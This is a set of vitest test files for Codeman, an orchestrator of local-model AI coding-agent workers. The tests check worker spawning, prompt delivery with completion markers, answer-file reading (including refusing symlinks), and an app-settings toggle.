name: 'no answer at all',
body: '',
code: '000',
rc: 1,
expect: { spawnable: false, reason: 'unreachable' },
},
{
name: 'any other failure carries its status and error',
body: JSON.stringify({ success: false, error: 'boom', errorCode: 'INTERNAL_ERROR' }),
code: '500',
rc: 1,
expect: { spawnable: false, reason: 'error', status: '500', message: 'boom' },
},
];
for (const c of cases) {
it(c.name, () => {
const answers: Record<string, string> = { 'lm-get': c.body };
if (c.code) answers['lm-get.code'] = c.code;
const run = runSkill('local_model', answers);
expect(run.rc).toBe(c.rc);
expect(run.stdout.trim().split('\n')).toHaveLength(1);
expect(lastJson(run.stdout)).toMatchObject(c.expect);
// One read-only GET of the alias path, and nothing else.
expect(run.calls.map((call) => `${call.m} ${call.key}`)).toEqual(['GET lm-get']);
});
}
});
describe.skipIf(!hasJq)('preamble spawn_worker <name> local', () => {
it('starts a stopped runtime, then quick-starts the harness on the endpoint and waits for its composer', () => {
const run = runSkill(
'spawn_worker summ local',
{
'lm-get.1': STOPPED,
'lm-runtime': JSON.stringify({ success: true, data: { state: 'installed', running: false } }),
'lm-get.2': RUNNING,
'quick-start': QUICK_START,
'wait-output': MATCHED,
},
// A cloud advisor must never be attached to a worker on the local model.
{ CODEMAN_WORKER_ADVISOR: 'opus' }
);
expect(run.stderr).toBe('');
expect(run.rc).toBe(0);
expect(run.stdout).toBe(`${SID}\n`);
expect(run.calls.map((call) => `${call.m} ${call.key}`)).toEqual([
'GET lm-get',
'POST lm-runtime',
'GET lm-get',
'POST quick-start',
'GET wait-output',
]);
expect(JSON.parse(run.calls[1].d)).toEqual({ action: 'start' });
expect(JSON.parse(run.calls[3].d)).toEqual({
caseName: 'summ',
mode: 'opencode',
parentSessionId: SELF,
customModel: { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' },
});
expect(run.calls[4].q).toContain('match=┃');
expect(run.calls[4].q).toContain('from=buffer');
});
it('does not touch a runtime that already runs', () => {
const run = runSkill('spawn_worker summ local', {
'lm-get': RUNNING,
'quick-start': QUICK_START,
'wait-output': MATCHED,
});
expect(run.rc).toBe(0);
expect(run.stdout).toBe(`${SID}\n`);
expect(run.calls.map((call) => call.key)).toEqual(['lm-get', 'quick-start', 'wait-output']);
});
for (const answer of [
{ requiresContextWarning: true, modelId: 'qwen3.6:35b-a3b', contextLength: 32768, minSafeContextTokens: 40000 },
{ requiresConfirmation: true, currentlyLoadedModel: 'other', affectedSessions: [{ id: 'x', name: 'w9' }] },
]) {
it(`never confirms on anyone's behalf: ${Object.keys(answer)[0]} fails the spawn with empty stdout`, () => {
// The route returns these bare; the server's envelope wraps them as success data.
const run = runSkill('spawn_worker summ local', {
'lm-get': RUNNING,
'quick-start': JSON.stringify({ success: true, data: answer }),
});
expect(run.rc).toBe(1);
expect(run.stdout).toBe('');
expect(run.stderr).toMatch(/wants a person to confirm/);
expect(run.stderr).toContain(Object.keys(answer)[0]);
// One quick-start, sent without any confirmation flag, and nothing after it.
expect(run.calls.map((call) => call.key)).toEqual(['lm-get', 'quick-start']);
expect(JSON.parse(run.calls[1].d).customModel).toEqual({
endpointId: 'local-ollama',
modelId: 'qwen3.6:35b-a3b',
});
});
}
it('reports a refused launch (the runtime check in quick-start) and spawns nothing', () => {
const run = runSkill('spawn_worker summ local', {
'lm-get': RUNNING,
'quick-start': JSON.stringify({
success: false,
error: 'The model on this Mac is not running.',
errorCode: 'OPERATION_FAILED',
}),
});
expect(run.rc).toBe(1);
expect(run.stdout).toBe('');
expect(run.stderr).toContain('OPERATION_FAILED');
expect(run.calls.map((call) => call.key)).toEqual(['lm-get', 'quick-start']);
});
it('refuses before any quick-start when no local model is installed', () => {
const run = runSkill('spawn_worker summ local', { 'lm-get': status({ state: 'idle', actions: ['install'] }) });
expect(run.rc).toBe(1);
expect(run.stdout).toBe('');
expect(run.stderr).toMatch(/no local model to spawn on \(not-installed\)/);
expect(run.calls.map((call) => call.key)).toEqual(['lm-get']);
});
it('reports a runtime that was started but did not come up, and spawns nothing', () => {
const failed = status({
...INSTALLED,
actions: ['start', 'remove'],
error: { code: 'runtime-start-failed', next: 'start', message: { text: 'The runtime did not start.' } },
});
const run = runSkill('spawn_worker summ local', {
'lm-get.1': STOPPED,
'lm-runtime': JSON.stringify({ success: true, data: { state: 'installed', running: false } }),
'lm-get.2': failed,
});
expect(run.rc).toBe(1);
expect(run.stdout).toBe('');
expect(run.stderr).toMatch(/started, but \(blocked\): The runtime did not start\./);
expect(run.calls.map((call) => call.key)).toEqual(['lm-get', 'lm-runtime', 'lm-get']);
});
it('deletes a worker whose composer never drew and hands back nothing', () => {
const run = runSkill('spawn_worker summ local', {
'lm-get': RUNNING,
'quick-start': QUICK_START,
'wait-output': JSON.stringify({ success: true, data: { wait: { matched: false, timedOut: true } } }),
delete: JSON.stringify({ success: true, data: {} }),
});
expect(run.rc).toBe(1);
expect(run.stdout).toBe('');
expect(run.stderr).toMatch(/never drew/);
expect(run.calls.map((call) => `${call.m} ${call.key}`)).toEqual([
'GET lm-get',
'POST quick-start',
'GET wait-output',
'DELETE delete',
]);
});
it('refuses a harness it knows no composer mark for, unless LOCAL_READY_MARK names one', () => {
const other = status({ ...INSTALLED, cli: 'omp', running: true, actions: ['start-session', 'stop', 'remove'] });
const refused = runSkill('spawn_worker summ local', { 'lm-get': other });
expect(refused.rc).toBe(1);
expect(refused.stdout).toBe('');
expect(refused.stderr).toMatch(/LOCAL_READY_MARK/);
expect(refused.calls.map((call) => call.key)).toEqual(['lm-get']);
const marked = runSkill(
'spawn_worker summ local',
{ 'lm-get': other, 'quick-start': QUICK_START, 'wait-output': MATCHED },
{ LOCAL_READY_MARK: 'omp-ready' }
);
expect(marked.rc).toBe(0);
expect(marked.stdout).toBe(`${SID}\n`);
expect(JSON.parse(marked.calls[1].d).mode).toBe('omp');
expect(marked.calls[2].q).toContain('match=omp-ready');
});
describe("local:<agent>: the coding agent is the caller's choice", () => {
const spawn = (kind: string, lm: string = WITH_AGENTS, env: Record<string, string> = {}) =>
runSkill(`spawn_worker summ ${kind}`, { 'lm-get': lm, 'quick-start': QUICK_START, 'wait-output': MATCHED }, env);
it('plain local still starts the default agent, with the mark the server names', () => {
const run = spawn('local');
expect(run.rc).toBe(0);
expect(JSON.parse(run.calls[1].d)).toEqual({
caseName: 'summ',
mode: 'opencode',
parentSessionId: SELF,
customModel: { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' },
});
expect(run.calls[2].q).toContain('match=┃');
});
it('local:pi starts Pi without trusting the folder, and waits for the end of its startup', () => {
const run = spawn('local:pi');
expect(run.stderr).toBe('');
expect(run.rc).toBe(0);
expect(run.stdout).toBe(`${SID}\n`);
expect(run.calls.map((call) => call.key)).toEqual(['lm-get', 'quick-start', 'wait-output']);
expect(JSON.parse(run.calls[1].d)).toEqual({
caseName: 'summ',
mode: 'pi',
parentSessionId: SELF,
// --no-approve: the task prompt must never answer Pi's trust question.
piConfig: { approveProjectTrust: false },
customModel: { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' },
});
// Not its composer rule, which is painted before Pi takes Enter.
expect(run.calls[2].q).toContain('match=extended-keys');
expect(run.calls[2].q).not.toContain('match=─');
});
it('local:deepseek starts DeepSeek Harness with the permission posture of the Run button, at its composer glyph', () => {
const run = spawn('local:deepseek');
expect(run.rc).toBe(0);
expect(JSON.parse(run.calls[1].d)).toEqual({
caseName: 'summ',
mode: 'deepseek',
parentSessionId: SELF,
deepSeekConfig: { permissionMode: 'danger-full-access' },
customModel: { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' },
});
expect(run.calls[2].q).toContain('match=❯');
});
it('a DeepSeek Harness worker that opened its setup guide is deleted, never handed back: its cursor is the mark too', () => {
// dsh-TUI 0.19.0, as the rendered pane reads: the guide, with `❯` on its first step.
const guide = JSON.stringify({
success: true,
data: {
terminalBuffer:
'\u001b[1mWelcome to dsh-TUI\u001b[0m Step 1 of 4\r\n ✗ No DEEPSEEK_API_KEY yet\r\n❯ Sign in to a subscription (OAuth)\r\n',
},
});
const composer = JSON.stringify({
success: true,
data: {
terminalBuffer:
'╭────╮\r\n│ ❯ Say something, or type / for commands…\r\n╰────╯\r\n qwen3.6:35b-a3b · standard\r\n',
},
});
const answers = { 'lm-get': WITH_AGENTS, 'quick-start': QUICK_START, 'wait-output': MATCHED };
const blocked = runSkill('spawn_worker rev local:deepseek', {
...answers,
terminal: guide,
delete: JSON.stringify({ success: true, data: {} }),
});
expect(blocked.rc).toBe(1);
expect(blocked.stdout).toBe('');
expect(blocked.stderr).toMatch(/setup guide/);
expect(blocked.calls.map((call) => `${call.m} ${call.key}`)).toEqual([
'GET lm-get',
'POST quick-start',
'GET wait-output',
'GET terminal',
'DELETE delete',
]);
const ready = runSkill('spawn_worker rev local:deepseek', { ...answers, terminal: composer });
expect(ready.stderr).toBe('');
expect(ready.rc).toBe(0);
expect(ready.stdout).toBe(`${SID}\n`);
// The same look for a DeepSeek worker that is not on the local model.
const cloud = runSkill('spawn_worker rev deepseek', {
'quick-start': QUICK_START,
'wait-output': MATCHED,
terminal: guide,
delete: JSON.stringify({ success: true, data: {} }),
});
expect(cloud.rc).toBe(1);
expect(cloud.stdout).toBe('');
expect(cloud.stderr).toMatch(/setup guide/);
expect(cloud.calls.map((call) => call.key)).toEqual(['quick-start', 'wait-output', 'terminal', 'delete']);
});
it('a mark the server names wins over the one this skill measured, and LOCAL_READY_MARK over both', () => {
const named = status({
...INSTALLED,
running: true,
harnesses: AGENTS.map((agent) => (agent.cli === 'pi' ? { ...agent, readyMark: 'pi-is-up' } : agent)),
actions: ['start-session', 'stop', 'remove'],
});
expect(spawn('local:pi', named).calls[2].q).toContain('match=pi-is-up');
expect(spawn('local:pi', named, { LOCAL_READY_MARK: 'mine' }).calls[2].q).toContain('match=mine');
expect(spawn('local:opencode', WITH_AGENTS, { LOCAL_READY_MARK: 'mine' }).calls[2].q).toContain('match=mine');
});
it('refuses an agent that is not startable, names the ones that are, and starts nothing', () => {
const run = spawn('local:claude');
expect(run.rc).toBe(1);
expect(run.stdout).toBe('');
expect(run.stderr).toContain("'claude' is not startable on this Mac (installable)");
expect(run.stderr).toContain('Startable now: opencode, pi, deepseek');
expect(run.calls.map((call) => call.key)).toEqual(['lm-get']);
});
it('refuses an agent the model cannot be run with at all', () => {
const run = spawn('local:grok');
expect(run.rc).toBe(1);
expect(run.stdout).toBe('');
expect(run.stderr).toContain("cannot be run with 'grok'");
expect(run.stderr).toContain('Startable: opencode, pi, deepseek');
expect(run.calls.map((call) => call.key)).toEqual(['lm-get']);
});
it('a Codeman that lists no agents: its one agent can be named, another cannot', () => {
const same = spawn('local:opencode', RUNNING);
expect(same.rc).toBe(0);
expect(JSON.parse(same.calls[1].d).mode).toBe('opencode');
expect(same.calls[2].q).toContain('match=┃');
const other = spawn('local:pi', RUNNING);
expect(other.rc).toBe(1);
expect(other.stdout).toBe('');
expect(other.stderr).toMatch(/lists one coding agent for the local model, opencode/);
expect(other.calls.map((call) => call.key)).toEqual(['lm-get']);
});
it('with no agent that can be started nothing is spawned, whatever was asked for', () => {
const none = status({
...INSTALLED,
running: true,
harnesses: [{ cli: 'opencode', cliLabel: 'OpenCode', default: true, status: 'installing', actions: [] }],
actions: ['stop', 'remove'],
});
for (const kind of ['local', 'local:opencode']) {
const run = spawn(kind, none);
expect(run.rc).toBe(1);
expect(run.stdout).toBe('');
expect(run.stderr).toMatch(/no local model to spawn on \(no-agent\)/);
expect(run.calls.map((call) => call.key)).toEqual(['lm-get']);
}
});
it('a worker whose mark never shows is deleted, and the message names the agent', () => {
const run = runSkill('spawn_worker summ local:pi', {
'lm-get': WITH_AGENTS,
'quick-start': QUICK_START,
'wait-output': NOT_MATCHED,
delete: JSON.stringify({ success: true, data: {} }),
});
expect(run.rc).toBe(1);
expect(run.stdout).toBe('');
expect(run.stderr).toMatch(/\(pi\) never drew 'extended-keys'/);
expect(run.calls.map((call) => `${call.m} ${call.key}`)).toEqual([
'GET lm-get',
'POST quick-start',
'GET wait-output',
'DELETE delete',
]);
});
it('spawn_workers takes name:local:agent in a mixed fleet', () => {
const run = runSkill('spawn_workers a:local:pi', {
'lm-get': WITH_AGENTS,
'quick-start': QUICK_START,
'wait-output': MATCHED,
});
expect(run.calls.map((call) => call.key)).toContain('quick-start');
const body = JSON.parse(run.calls.find((call) => call.key === 'quick-start')!.d);
expect([body.caseName, body.mode]).toEqual(['a', 'pi']);
});
});
it('runs a claude harness through the claude readiness path (hooks vetted, shift+tab)', () => {
const claude = status({ ...INSTALLED, cli: 'claude', running: true, actions: ['start-session', 'stop', 'remove'] });
const run = runSkill(
`mkdir -p "$WD/.claude" && printf '%s' '{"hooks":{"Stop":[{"command":"curl /api/hook-event"}]}}' > "$WD/.claude/settings.local.json"
printf '%s' "{\\"success\\":true,\\"data\\":{\\"sessionId\\":\\"${SID}\\",\\"casePath\\":\\"$WD\\"}}" > "$ANSWERS/quick-start"
spawn_worker summ local`,
{ 'lm-get': claude, 'wait-output': MATCHED },
{ CODEMAN_WORKER_ADVISOR: 'opus' }
);
expect(run.stderr).toBe('');
expect(run.rc).toBe(0);
expect(run.stdout).toBe(`${SID}\n`);
const body = JSON.parse(run.calls[1].d);
expect(body.mode).toBe('claude');
expect(body.advisorModel).toBeUndefined();
expect(body.customModel).toEqual({ endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' });
expect(run.calls[2].q).toContain('match=shift+tab');
// The advisor read-back is skipped too: no GET of the session.
expect(run.calls.map((call) => call.key)).toEqual(['lm-get', 'quick-start', 'wait-output']);
});
});
describe.skipIf(!hasJq)('preamble sendmark', () => {
const delivered = JSON.stringify({
success: true,
data: { delivered: true, duplicate: false, wait: { timedOut: true, ended: false, signal: null } },
});
/** Answers GET /api/sessions/:id with the run's own working directory, then runs `body`. */
function withSession(body: string): string {
return `printf '%s' "{\\"success\\":true,\\"data\\":{\\"id\\":\\"${SID}\\",\\"workingDir\\":\\"$WD\\"}}" > "$ANSWERS/session"; ${body}`;
}
it('sends once, waits for the split marker, and returns the answer file', () => {
const run = runSkill(
withSession(`sendmark ${SID} $'Summarize these files:\\n- a.md\\n- b.md' 30`),
{ input: delivered, 'wait-output': MATCHED },
{ ANSWER_TEXT: 'a.md: setup. b.md: usage.' }
);
expect(run.stderr).toBe('');
expect(run.rc).toBe(0);
const out = lastJson(run.stdout);
expect(out).toMatchObject({
delivered: true,
matched: true,
answer: 'a.md: setup. b.md: usage.',
truncated: false,
});
const token = out.token as string;
expect(token).toMatch(/^m[0-9a-f]+$/);
expect(out.answerFile).toBe(join(run.wd, `codeman-answer-${token}.md`));
expect(run.calls.map((call) => `${call.m} ${call.key}`)).toEqual(['GET session', 'POST input', 'GET wait-output']);
const input = JSON.parse(run.calls[1].d) as Record<string, unknown>;
// The exactly-once body: the per-worker clientId, an epoch-second seq, one Enter at the end.
expect(input.clientId).toBe(`codeman-agent-1-${SID}`);
expect(typeof input.seq).toBe('number');
expect(input).toMatchObject({ useMux: true, wait: 'exit', waitTimeout: 1000 });
const text = input.input as string;
expect(text.endsWith('\r')).toBe(true);
expect(text.slice(0, -1)).not.toMatch(/[\r\n]/);
expect(text.startsWith('Summarize these files: - a.md - b.md (When you are done')).toBe(true);
expect(text).toContain(`codeman-answer-${token}.md`);
expect(text).toContain(`the word DONE immediately followed by _${token}`);
// Split: the typed prompt never holds the joined marker, so its echo cannot match.
expect(text).not.toContain(`DONE_${token}`);
expect(run.calls[2].q).toContain(`match=DONE_${token}`);
expect(run.calls[2].q).toContain('from=buffer');
});
it('answers 2 when no marker prints before the timeout, and deletes nothing', () => {
const run = runSkill(withSession(`sendmark ${SID} 'count to three' 1`), {
input: delivered,
'wait-output': NOT_MATCHED,
'wait-output.delay': '1',
});
expect(run.rc).toBe(2);
expect(lastJson(run.stdout)).toMatchObject({ delivered: true, matched: false, answer: null });
expect(run.calls.some((call) => call.key === 'delete')).toBe(false);
});
// Seen on a Mac (2026-11-12): Claude Code runs zsh there, and zsh hands every subshell the same
// $RANDOM. A lead sent two workers in ONE folder their tasks in the same second, both prompts
// named the same answer file, and one worker's summary replaced the other's.
it('gives each worker its own token and answer file, in the same second and with the same $RANDOM', () => {
const other = 'b7e1c2d3-0000-4000-8000-00000000beef';
const run = runSkill(
withSession(
// Two calls at once that draw the same number: what zsh does by itself. bash reseeds its
// generator in every subshell, so here the variable is made a plain one that always reads 7.
`unset RANDOM; RANDOM=7
( sendmark ${SID} 'count to three' 1 >/dev/null ) &
( sendmark ${other} 'count to three' 1 >/dev/null ) &
wait; true`
),
{ input: delivered, 'wait-output': NOT_MATCHED, 'wait-output.delay': '1' }
);
expect(run.stderr).toBe('');
const tokens = run.calls
.filter((call) => call.key === 'input')
.map((call) => /codeman-answer-(m[0-9a-f]+)\.md/.exec((JSON.parse(call.d) as { input: string }).input)?.[1] ?? '')
.sort();
expect(tokens).toHaveLength(2);
// m, eight digits of the second, four of $RANDOM, six of the worker's id.
for (const token of tokens) expect(token).toMatch(/^m[0-9a-f]{18}$/);
// The same draw in both calls...
expect(tokens.map((token) => token.slice(9, 13))).toEqual(['0007', '0007']);
// ...and still two files, told apart by the workers' own ids.
expect(tokens[0]).not.toBe(tokens[1]);
expect(tokens.map((token) => token.slice(13)).sort()).toEqual(['b7e1c2', 'eca000']);
});
it('reads the answer file without a marker once it held still for a round (a full-screen pane draws the marker in pieces)', () => {
// Measured on opencode 1.3.0: a reply streamed a character or two at a time reaches the
// stripped stream as D, spinner, O, spinner, N, ... and never matches, while the screen
// shows the whole token. The file must still end the wait.
const run = runSkill(
withSession(`sendmark ${SID} 'count to three' 30`),
{ input: delivered, 'wait-output': NOT_MATCHED },
{ ANSWER_TEXT: 'one two three' }
);
expect(run.stderr).toBe('');
expect(run.rc).toBe(0);
expect(lastJson(run.stdout)).toMatchObject({ delivered: true, matched: false, answer: 'one two three' });
// The first round finds the file, the second finds it unchanged: two marker waits, then done.
expect(run.calls.map((call) => call.key)).toEqual(['session', 'input', 'wait-output', 'wait-output']);
for (const call of run.calls.slice(2)) expect(call.q).toContain('timeout=10000');
});
it('does not read an answer file that is still changing, and answers 2 at the timeout', () => {
const run = runSkill(
withSession(`sendmark ${SID} 'count to three' 3`),
{ input: delivered, 'wait-output': NOT_MATCHED, 'wait-output.delay': '1' },
{ ANSWER_APPEND: 'one more line' }
);
expect(run.rc).toBe(2);
expect(lastJson(run.stdout)).toMatchObject({ matched: false, answer: null });
expect(run.calls.filter((call) => call.key === 'wait-output').length).toBeGreaterThanOrEqual(2);
});
it('answers 3 when the worker ends while it waits for the answer file after the marker', () => {
const run = runSkill(withSession(`sendmark ${SID} 'count to three' 30`), {
input: delivered,
'wait-output': MATCHED,
wait: JSON.stringify({ success: true, data: { wait: { signal: 'exit', ended: false, timedOut: false } } }),
});
expect(run.rc).toBe(3);
expect(lastJson(run.stdout)).toMatchObject({ matched: true, answer: null, ended: true });
expect(run.calls.map((call) => call.key)).toEqual(['session', 'input', 'wait-output', 'wait']);
});
it('still waits two seconds per check for the answer file when the exit wait gets no answer', () => {
const started = Date.now();
const run = runSkill(
withSession(`sendmark ${SID} 'count to three' 30`),
// No answer file for `wait`: the stub answers success:false, as a server that is gone.
{ input: delivered, 'wait-output': MATCHED },
{ SENDMARK_FILE_WAIT: '2' }
);
expect(run.rc).toBe(4);
expect(run.calls.map((call) => call.key)).toEqual(['session', 'input', 'wait-output', 'wait']);
expect(Date.now() - started).toBeGreaterThanOrEqual(2000);
});
it('answers 4 when the marker printed but no answer file turned up', () => {
const run = runSkill(
withSession(`sendmark ${SID} 'count to three' 30`),
{ input: delivered, 'wait-output': MATCHED },
{ SENDMARK_FILE_WAIT: '0' }
);
expect(run.rc).toBe(4);
expect(lastJson(run.stdout)).toMatchObject({ matched: true, answer: null });
});
it('refuses to read an answer file that is a symlink', () => {
const secret = join(tmpdir(), 'codeman-sendmark-not-read');
const run = runSkill(
withSession(
`printf 'private' > "${secret}"; sendmark ${SID} 'count to three' 30; rc=$?; rm -f "${secret}"; exit $rc`
),
{ input: delivered, 'wait-output': MATCHED },
{ ANSWER_SYMLINK: secret, SENDMARK_FILE_WAIT: '0' }
);
expect(run.rc).toBe(4);
expect(run.stderr).toMatch(/is a symlink, not read/);
expect(run.stdout).not.toContain('private');
expect(lastJson(run.stdout)).toMatchObject({ matched: true, answer: null });
});
it('answers 3 when the pane did not take the prompt because the worker ended', () => {
const run = runSkill(withSession(`sendmark ${SID} 'count to three' 30`), {
input: JSON.stringify({
success: true,
data: { delivered: false, duplicate: false, wait: { ended: true, aborted: false } },
}),
});
expect(run.rc).toBe(3);
expect(lastJson(run.stdout)).toMatchObject({ delivered: false, matched: false });
expect(run.calls.map((call) => call.key)).toEqual(['session', 'input']);
});
it('answers 3 when the worker ends while it waits for the marker', () => {
const run = runSkill(withSession(`sendmark ${SID} 'count to three' 30`), {
input: delivered,
'wait-output': JSON.stringify({
success: true,
data: { wait: { matched: false, timedOut: false, ended: true } },
}),
});
expect(run.rc).toBe(3);
expect(lastJson(run.stdout)).toMatchObject({ matched: false, ended: true });
});
it('with SENDMARK_ANSWER_FILE=0 asks for the marker alone and reads no session', () => {
const run = runSkill(
`sendmark ${SID} 'review this' 30`,
{ input: delivered, 'wait-output': MATCHED },
{ SENDMARK_ANSWER_FILE: '0' }
);
expect(run.rc).toBe(0);
expect(lastJson(run.stdout)).toMatchObject({ matched: true, answerFile: null, answer: null });
expect(run.calls.map((call) => call.key)).toEqual(['input', 'wait-output']);
const text = (JSON.parse(run.calls[0].d) as { input: string }).input;
expect(text).not.toContain('codeman-answer-');
expect(text).toContain('the word DONE immediately followed by _');
});
it('refuses an empty prompt before sending anything', () => {
const run = runSkill(withSession(`sendmark ${SID} $' \\n\\t\\n'`));
expect(run.rc).toBe(1);
expect(run.stderr).toMatch(/sendmark: empty prompt/);
expect(run.calls).toEqual([]);
});
});
+85
View File
@@ -0,0 +1,85 @@
/**
* @fileoverview `sendwait` in the packaged agent preamble sends one line.
*
* Runs the REAL `skills/codeman/preamble.sh` in bash with `CURL` replaced by a stub
* that records the request body, so it checks what the function puts on the wire,
* not a copy of its logic. The server pastes a multi-line prompt as one block, and
* neither sendwait's Enter loop nor the server's submit check can recognise a pasted
* block still sitting on the composer, so the prompt must arrive as one line, the
* way `toSingleLine` joins it for the other unattended senders.
*
* Port: N/A (no server; the stub answers every request).
*/
import { describe, it, expect } from 'vitest';
import { execFileSync } from 'node:child_process';
import { mkdtempSync, readFileSync, rmSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
import { toSingleLine } from '../src/utils/single-line.js';
const PREAMBLE = join(__dirname, '..', 'skills', 'codeman', 'preamble.sh');
// The preamble builds every request body with jq.
let hasJq = true;
try {
execFileSync('jq', ['--version'], { stdio: 'ignore' });
} catch {
hasJq = false;
}
/** The `input` field of the first body sendwait posts for `prompt`. */
function sentInput(prompt: string): string {
// sendwait calls CURL inside $(...), a subshell, so the stub records to a file.
const dir = mkdtempSync(join(tmpdir(), 'codeman-sendwait-'));
const bodies = join(dir, 'bodies');
const script = `
. "$PREAMBLE" >/dev/null
stub() {
while [ "$#" -gt 0 ]; do
if [ "$1" = --data-binary ]; then printf '%s\\n' "$2" >> "$BODIES"; shift; fi
shift
done
printf '%s' '{"data":{"delivered":true,"wait":{"timedOut":false}}}'
}
CURL=(stub)
sendwait worker1234 "$PROMPT" 7 >/dev/null
`;
try {
execFileSync('bash', ['-c', script], {
stdio: ['ignore', 'pipe', 'pipe'],
env: {
PATH: process.env.PATH,
HOME: process.env.HOME,
PREAMBLE,
PROMPT: prompt,
BODIES: bodies,
CODEMAN_API_URL: 'http://127.0.0.1:9',
CODEMAN_SESSION_ID: 'caller-session-0000',
},
});
const first = readFileSync(bodies, 'utf-8').split('\n')[0];
return (JSON.parse(first) as { input: string }).input;
} finally {
rmSync(dir, { recursive: true, force: true });
}
}
describe.skipIf(!hasJq)('preamble sendwait', () => {
it('joins a multi-line prompt onto one line before sending it', () => {
expect(sentInput('Review this:\n- item 1\n- item 2')).toBe('Review this: - item 1 - item 2\r');
});
it('joins the same way as toSingleLine (trimmed lines, blank lines dropped, \\r\\n as a break)', () => {
const prompt = ' first line \r\n\n\t second\n\n \nthird\n';
expect(sentInput(prompt)).toBe(toSingleLine(prompt) + '\r');
});
it('refuses a prompt made only of blank lines instead of sending a bare Enter', () => {
expect(() => sentInput(' \n \t\n')).toThrow(/sendwait: empty prompt/);
});
it('leaves a single-line prompt, glob characters included, as it was', () => {
expect(sentInput('fix * in ?.ts ')).toBe('fix * in ?.ts \r');
});
});
+243
View File
@@ -0,0 +1,243 @@
/**
* @fileoverview The Codeman Agent Skill switch (`agentSkillEnabled`) in App Settings,
* on by default since 1.50.0.
*
* What is pinned, and why it matters:
* - The REAL openAppSettings() reads an ABSENT key as on, like the server's
* getAgentSkillEnabled() (`!== false`). The page and the server must agree: a
* page that showed an absent key as off would write `false` on the next Save of
* any other setting, and the default would be gone without the user touching it.
* - Only an explicit false shows the switch off, wherever it came from (this
* device's blob or the server's settings.json, merged as a synced key).
* - saveAppSettings() sends the switch in the settings PUT, and the body passes the
* .strict() SettingsUpdateSchema (an undeclared key 400s every save).
* - A device that saved on 1.49.0 or earlier keeps `false` in its own blob. After the
* server's one-time boot migration (stored true) its switch shows on and a Save keeps it
* on; on a server without the key the device's copy is dropped for the default; a later
* explicit off on the server stays off. The Save body never carries the migration marker.
* - The row says it is on by default, that the copy stays out of git, and how to
* remove copies already written (turning it off sweeps nothing).
*
* The real modules run INSIDE a JSDOM window (runScripts: 'outside-only'), with the
* harness of test/tab-cli-logos-setting.test.ts.
*
* Port: none.
*/
import { readFileSync } from 'node:fs';
import { join } from 'node:path';
import { JSDOM } from 'jsdom';
import { afterEach, describe, expect, it, vi } from 'vitest';
import { SettingsUpdateSchema } from '../src/web/schemas.js';
const PUBLIC = join(process.cwd(), 'src/web/public');
const read = (name: string) => readFileSync(join(PUBLIC, name), 'utf8');
const INDEX = read('index.html');
const SCRIPTS = ['constants.js', 'app.js', 'settings-ui.js'].map(read);
const DESKTOP_KEY = 'codeman-app-settings';
type Settings = Record<string, unknown>;
interface SettingsApp {
openAppSettings(): void;
saveAppSettings(): Promise<void>;
loadAppSettingsFromServer(p: Promise<Settings>): Promise<Settings>;
_apiPut: ReturnType<typeof vi.fn>;
}
/** Methods that run for real; every other method of the app is a no-op here. */
const REAL = new Set([
'openAppSettings',
'saveAppSettings',
'loadAppSettingsFromServer',
'loadAppSettingsFromStorage',
'saveAppSettingsToStorage',
'getSettingsStorageKey',
'getDefaultSettings',
'resolveTabArrangement',
'resolveTabStateOrder',
// Real so the save builds the body a browser would send (the schema check).
'resolveHeaderStatsStyle',
'resolveSessionSidebarFontSize',
'_displaySettingKeySet',
]);
/** Methods the load/save paths call that other modules add to the prototype. */
const ELSEWHERE = [
'showToast',
'_updateLocalEchoState',
'renderProjectInsightsPanel',
'updateSubagentWindowVisibility',
'showWelcome',
'_applyRunMode',
];
const windows: { close(): void }[] = [];
afterEach(() => {
for (const win of windows.splice(0)) win.close();
});
/** The whole index.html with constants.js, app.js and settings-ui.js loaded into it. */
async function boot(stored?: Settings) {
const dom = new JSDOM(INDEX, { url: 'http://localhost/', runScripts: 'outside-only' });
const win = dom.window as unknown as Window & typeof globalThis & { eval(src: string): void; __App: any };
windows.push(win);
// After load, so app.js's DOMContentLoaded boot never runs; only the prototype is under test.
if (win.document.readyState !== 'complete') await new Promise((resolve) => win.addEventListener('load', resolve));
win.setInterval = (() => 0) as unknown as typeof win.setInterval;
if (stored) win.localStorage.setItem(DESKTOP_KEY, JSON.stringify(stored));
win.eval(
[
`var MobileDetection = {
getDeviceType: () => 'desktop',
isHandheldDevice: () => false,
isMobile: () => false,
isTouchDevice: () => false,
};
var KeyboardHandler = {}, SwipeHandler = {}, DeepgramProvider = {}, NotificationManager = function () {};
var KeyboardAccessoryBar = { setMode() {} };
var VoiceInput = { SILENCE_TIMEOUT_SECONDS: [0, 3, 6, 15, 30], _getDeepgramConfig: () => ({}), _saveDeepgramConfig() {}, refreshClaudeStatus: () => Promise.resolve() };
var FocusTrap = function () { this.activate = () => {}; this.deactivate = () => {}; };
var DEFAULT_VOICE_KEYTERMS = '';`,
...SCRIPTS,
'window.__App = CodemanApp;',
].join('\n')
);
const target = Object.create(win.__App.prototype);
target.sessions = new Map();
target.sessionOrder = [];
target._apiPut = vi.fn(async () => ({ ok: true }));
const noop = () => undefined;
for (const name of ELSEWHERE) target[name] = noop;
const app = new Proxy(target, {
get(t, key, receiver) {
const value = Reflect.get(t, key, receiver);
const stubbed =
typeof key === 'string' && typeof value === 'function' && !Object.hasOwn(t, key) && !REAL.has(key);
return stubbed ? noop : value;
},
}) as SettingsApp;
const checkbox = () => win.document.getElementById('appSettingsAgentSkill') as HTMLInputElement;
const putBody = () => {
const calls = app._apiPut.mock.calls as [string, Settings][];
const call = calls.find(([path]) => path === '/api/settings');
expect(call, 'a settings PUT').toBeDefined();
return call![1];
};
return { app, checkbox, putBody };
}
describe('the switch loads on by default', () => {
it('an absent key shows on, an explicit false off, an explicit true on', async () => {
for (const [stored, expected] of [
[{}, true],
[{ agentSkillEnabled: false }, false],
[{ agentSkillEnabled: true }, true],
] as const) {
const { app, checkbox } = await boot(stored);
checkbox().checked = !expected;
app.openAppSettings();
expect(checkbox().checked, JSON.stringify(stored)).toBe(expected);
}
});
it('a fresh device on a server with no stored value shows on', async () => {
const { app, checkbox } = await boot();
await app.loadAppSettingsFromServer(Promise.resolve({ lastUsedCase: 'demo' }));
checkbox().checked = false;
app.openAppSettings();
expect(checkbox().checked).toBe(true);
});
